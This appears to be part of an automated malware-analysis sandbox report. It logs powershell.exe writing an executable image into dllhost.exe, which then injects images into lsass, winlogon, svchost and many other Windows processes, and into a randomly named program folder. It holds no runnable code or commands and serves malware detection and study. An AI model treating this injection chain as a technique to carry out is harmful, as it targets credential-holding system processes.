Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: CB472AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C9702AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C9732AC0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 29166940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 19E29D00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\explorer.exe base: 3400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64520000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2538D0F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 194B7F40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 27555FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dllhost.exe base: 2DFC7040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 4200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 29A023B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1A648070000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E990500000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1887F5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 219111D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2750000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 28B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2330000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: FF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2920000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: B50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2550000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 7F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 9F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2600000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2500000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2820000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2510000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2220000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 880000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 690000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2840000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: C30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 910000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2310000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1500000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2130000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 8D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2360000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 20C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 15B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FE0000 value starts with: 4D5A
